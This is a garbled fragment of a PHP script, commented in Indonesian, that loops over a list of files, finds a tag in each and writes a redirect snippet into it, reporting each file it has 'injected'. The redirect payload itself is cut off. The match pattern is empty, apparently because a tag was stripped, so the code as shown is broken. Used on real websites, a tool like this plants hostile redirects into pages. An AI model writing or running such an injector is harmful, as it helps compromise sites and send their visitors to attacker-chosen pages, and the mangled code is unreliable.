'; // Folder PHP ini berada $baseDir = getcwd(); // atau __DIR__ foreach ($files as $file) { $fullPath = $baseDir . DIRECTORY_SEPARATOR . $file; if (!file_exists($fullPath)) { echo "File not found: $fullPath\n"; continue; } $content = file_get_contents($fullPath); // Cari dan inject if (preg_match('//i', $content, $matches, PREG_OFFSET_CAPTURE)) { $pos = $matches[0][1] + strlen($matches[0][0]); $content = substr_replace($content, "\n$redirect\n", $pos, 0); if (file_put_contents($fullPath, $content) !== false) { echo "Injected redirect into: $fullPath\n"; } else { echo "Failed to write: $fullPath\n"; } } else { echo " not found in: $fullPath\n"; } } ?>